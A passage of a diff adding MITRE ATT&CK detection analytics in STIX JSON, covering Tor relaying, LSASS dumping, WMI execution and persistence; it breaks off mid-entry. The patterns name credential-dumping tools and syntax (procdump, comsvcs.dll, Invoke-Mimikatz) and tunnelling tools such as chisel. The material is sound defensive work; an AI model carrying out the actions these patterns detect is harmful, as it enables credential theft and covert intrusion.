"x_mitre_mutable_elements": [ + { + "field": "DomainCategory", + "description": "Can be tuned to `.onion`, I2P, or suspicious CDN domains." + }, + { + "field": "ProcessParent", + "description": "Detect known-good vs. abnormal launching binaries (e.g., mshta spawning Tor)." + }, + { + "field": "ConnectionDuration", + "description": "Threshold for persistent connections over known relay ports (e.g., 9050)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2416a634-3ad9-4f91-a894-8fb0d9d83b76", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359#AN1021", + "external_id": "AN1021" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1021", + "description": "Tools such as `tor`, `nglite`, `proxychains`, `chisel`, or custom daemons repeatedly initiate outbound sessions to multiple nodes before final destination. This behavior is abnormal for Linux services outside of VPN, monitoring, or CDN relay contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve for proxy tools" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "conn.log + ssl.log with Tor fingerprinting" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Netfilter/iptables", + "channel": "Forwarded packets log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutablePath", + "description": "Match known proxy tools, tuned for environment." + }, + { + "field": "RelayCount", + "description": "Detect outbound chaining behavior through >2 IPs in short succession." + }, + { + "field": "ProtocolType", + "description": "Allow filtering by ICMP, TCP/443, UDP for obfuscation channels." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b97a1c6e-bb02-4e14-ae57-6a9e96512657", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359#AN1022", + "external_id": "AN1022" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1022", + "description": "LaunchAgents or LaunchDaemons initiate persistent Tor or relay processes that make encrypted outbound connections. May be paired with sandbox bypasses or unsigned executables communicating over SOCKS proxies.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process, socket, and DNS logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:osquery", + "channel": "process_events + launchd" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:unifiedlog", + "channel": "forwarded encrypted traffic" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchdLabel", + "description": "Regex for masking patterns in LaunchAgents with proxy behavior." + }, + { + "field": "UnsignedBinary", + "description": "Allow for exceptions for known unsigned binaries." + }, + { + "field": "SOCKSPortUsage", + "description": "Monitor local 9050/9150 activity and rerouted system traffic." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--08370ff8-9442-42c0-bfb5-c7f5792c74ea", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359#AN1023", + "external_id": "AN1023" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1023", + "description": "Outbound encrypted traffic initiated from hypervisor shell or via VM backdoor mechanisms to relays in VPS infrastructure, especially if traversing multiple nodes before reaching Internet destination. Packet captures or firewall logs show non-VM communication paths.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log or /var/log/vmksummary.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vmkernel", + "channel": "/var/log/vmkernel.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Relay patterns across IP hops" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "HopCount", + "description": "Threshold on number of IPs contacted in sequence without DNS resolution." + }, + { + "field": "ShellAccess", + "description": "Flag if relay communication initiated by ESXi shell or unknown VM agent." + }, + { + "field": "VPSIPRange", + "description": "Filter for known Tor/VPS egress networks." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a691ee45-94bf-4244-a286-b80c21859d2e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0359#AN1024", + "external_id": "AN1024" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1024", + "description": "Encrypted traffic or ICMP tunneling from border routers to internal routers or unknown external IPs. Forwarded traffic shows consistent hop-to-hop relaying without matching configured VPN or expected network topology.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "Relayed session pathing (multi-hop)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Firewall", + "channel": "Outbound encrypted traffic" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", + "name": "networkdevice:syslog", + "channel": "Custom firmware or routing changes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "VPNConfigWhitelist", + "description": "Define allowed internal router communication paths." + }, + { + "field": "ICMPPayloadEntropy", + "description": "High entropy ICMP payloads may indicate tunneling activity." + }, + { + "field": "RelayChainSignature", + "description": "Track known multi-hop pattern signatures or port hopping techniques." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2385f397-5d17-4b37-ba07-bb52a52ff66c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0360#AN1025", + "external_id": "AN1025" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1025", + "description": "Detection of domain group enumeration through command-line utilities such as 'net group /domain' or PowerShell cmdlets, followed by suspicious access to API calls or LSASS memory.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Adjustable window to track chained discovery activity (e.g., 5-10 minutes)." + }, + { + "field": "UserContext", + "description": "Tune to focus on non-admin users or service accounts performing enumeration." + }, + { + "field": "ProcessLineageDepth", + "description": "How far back the parent-child process chain is correlated." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3415a6fa-a447-42f3-8155-68cf5d7cbcb3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0360#AN1026", + "external_id": "AN1026" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1026", + "description": "Behavioral detection of domain group enumeration via ldapsearch or custom scripts leveraging LDAP over the network.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:syslog", + "channel": "sshd logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "ldap.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LDAPQueryDepth", + "description": "Tunable based on number of LDAP queries before flagging suspicious behavior." + }, + { + "field": "CommandPattern", + "description": "Pattern matching against common ldapsearch or shell enumeration flags." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--23fa40ac-79d0-400a-a017-8e06cfc67e6c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0360#AN1027", + "external_id": "AN1027" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1027", + "description": "Enumeration of domain groups using dscacheutil or dscl commands, often following initial login or domain trust queries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandSignatureThreshold", + "description": "Defines how strictly command patterns must match known enumeration syntax." + }, + { + "field": "TimeWindow", + "description": "Adjustable window to correlate chained behavior such as group enumeration followed by user targeting." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a5e9fb06-ab75-415d-beff-206aa059e096", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0361#AN1028", + "external_id": "AN1028" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1028", + "description": "Abuse of Regsvcs.exe or Regasm.exe to execute arbitrary code embedded in .NET assemblies via [ComRegisterFunction]/[ComUnregisterFunction]. Behavioral chain: (1) Process creation of regsvcs/regasm with suspicious assembly paths/flags \u2192 (2) Assembly/DLL load inside regsvcs/regasm \u2192 (3) Registry writes to HKCR\\CLSID/ProgID during COM registration \u2192 (4) Optional child process or network activity spawned by installer/registration code.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AssemblyPathRegex", + "description": "Environment-specific paths to flag (e.g., %TEMP%, Downloads, OneDrive, SMB shares). Helps suppress known-good installers." + }, + { + "field": "SuspiciousFlags", + "description": "Arguments like /unregister (/u), /codebase, /regfile which may indicate abuse. Tune per enterprise use of regasm/regsvcs." + }, + { + "field": "ParentProcessAllowList", + "description": "Legitimate parents (e.g., setup.exe, msiexec.exe). Analyst can prune false positives from Office or script hosts." + }, + { + "field": "KnownGoodAssemblies", + "description": "Hashes or publisher info for approved assemblies commonly registered in the environment." + }, + { + "field": "RegistryKeyAllowList", + "description": "Approved CLSIDs/ProgIDs written during sanctioned software installs." + }, + { + "field": "TimeWindow", + "description": "Correlation window (e.g., 5\u201310 min) between file drop \u2192 regasm/regsvcs exec \u2192 registry writes \u2192 child activity." + }, + { + "field": "SignedToUnsignedTransition", + "description": "Alert if Microsoft-signed regasm/regsvcs loads or triggers unsigned assemblies/children." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--abe61118-51b2-45ad-93bc-9215dad25b25", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0362#AN1029", + "external_id": "AN1029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1029", + "description": "Detection of AppCert DLL abuse involves correlating registry modifications to the AppCertDLLs key with subsequent unexpected DLL load behavior during process creation events. Specifically, defenders can observe abnormal DLLs being loaded into standard Windows processes after changes to the 'AppCertDLLs' registry value. Monitoring CreateProcess-family API executions with injected DLLs and linking those DLLs back to recent registry edits is key to identifying misuse. This is often accompanied by elevated privileges and potential lateral movement or discovery behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetObject", + "description": "Registry path for AppCertDLLs may vary by control set or group policy context" + }, + { + "field": "ImageLoaded", + "description": "Loaded DLLs may differ by malware family or environment" + }, + { + "field": "ParentImage", + "description": "Parent processes to monitor for DLL injection can be tuned to exclude known-good cases" + }, + { + "field": "TimeWindow", + "description": "Time correlation between registry modification and DLL load events may vary" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2b0dd3b6-6949-4dd5-b0dd-7b0b6f431dbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0363#AN1030", + "external_id": "AN1030" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1030", + "description": "A non-privileged or abnormal process attempts to open a handle with full access (0x1F0FFF) to lsass.exe and subsequently invokes memory dump, file creation, or registry modification indicative of credential scraping. This behavior chain reflects staged credential theft activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AccessMask", + "description": "Set to 0x1F0FFF to detect full memory access attempts; can be scoped down to reduce noise." + }, + { + "field": "TimeWindow", + "description": "Defines time between LSASS access and dump file creation or registry modification (e.g., 5 minutes)." + }, + { + "field": "ParentProcessName", + "description": "Allowlist known legitimate tools (e.g., AV/EDR) accessing lsass.exe." + }, + { + "field": "DumpFilePath", + "description": "Paths where memory dumps are written, e.g., %TEMP%, C:\\Windows\\Temp." + }, + { + "field": "CommandLinePattern", + "description": "Common dumping syntax like rundll32, procdump, comsvcs.dll, Invoke-Mimikatz." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17687fa0-bfbf-4ff2-9eb0-520538e6af31", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0364#AN1031", + "external_id": "AN1031" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1031", + "description": "Detects adversarial abuse of WMI to execute local or remote commands via WMIC, PowerShell, or COM API through a multi-event chain: process creation, command execution, and corresponding network connection if remote.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:WMI", + "channel": "EventCode=5857, 5858" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WMIQueryScope", + "description": "Restrict detection scope to suspicious WMI namespaces like `\\root\\cimv2`, `\\root\\subscription`." + }, + { + "field": "TimeWindow", + "description": "Set maximum allowable time window to correlate WMI process creation and remote connections." + }, + { + "field": "UserContext", + "description": "Tune based on interactive vs. system-level execution (e.g., via SYSTEM or low-privileged users)." + }, + { + "field": "RemoteDestinationThreshold", + "description": "Number of unique remote hosts contacted using WMI within a time window." + }, + { + "field": "SuspiciousCommandPatterns", + "description": "Regex patterns to identify adversary-like usage (e.g., `wmic process call`, `powershell Invoke-WmiMethod`)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e863e865-8ecc-47ce-b736-eec54b6399d6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0365#AN1032", + "external_id": "AN1032" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1032", + "description": "Correlation of Registry key creation/modification events under known Run/Startup keys with new or unusual binary paths or script-based payloads. Multi-event detection includes registry modification followed by process execution from non-standard directories or abnormal parent-child process relationships.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Microsoft-Windows-Shell-Core", + "channel": "New startup folder shortcut or binary placed in Startup directory" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ImagePath", + "description": "Full path of the binary/script being registered in Run keys. Tunable to exclude known software baselines." + }, + { + "field": "RegistryKeyPath", + "description": "Tunable list of startup-related registry keys to monitor more/less aggressively based on enterprise software context." + }, + { + "field": "TimeWindow", + "description": "Correlate registry key creation and process execution within this window. Defaults between 5\u201310 minutes." + }, + { + "field": "UserContext", + "description": "Filter for specific user SIDs or exclude known admin/script accounts." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6eab694d-ea06-4487-99c4-0e21279530e8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0366#AN1033", + "external_id": "AN1033" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1033", + "description": "Detects adversary behavior where a file with a benign-looking first extension (e.g., .txt, .jpg) ends with a dangerous second extension (e.g., .exe, .scr), and is subsequently executed. The behavior chain includes file creation with misleading naming and user or system-initiated process execution from the disguised file.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "benign_extensions", + "description": "List of extensions typically used to masquerade malicious files (.txt, .jpg, .doc, .pdf)" + }, + { + "field": "dangerous_extensions", + "description": "List of true executable extensions that may be abused (.exe, .scr, .hta, .lnk)" + }, + { + "field": "monitored_paths", + "description": "Specific directories to focus on (e.g., Downloads folder, %TEMP%, Desktop)" + }, + { + "field": "TimeWindow", + "description": "Duration between file creation and process execution to correlate activity" + }, + { + "field": "UserContext", + "description": "Whether the behavior occurs in a standard user session or elevated context" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--53dd199d-4f38-4f12-83dd-f2d471d58a1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0367#AN1034", + "external_id": "AN1034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1034", + "description": "Correlates Group Policy updates that configure network logon scripts with subsequent remote file execution behaviors triggered by user logons to identify potential persistence or execution chains tied to adversarial manipulation of logon scripts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "WinEventLog:System", + "channel": 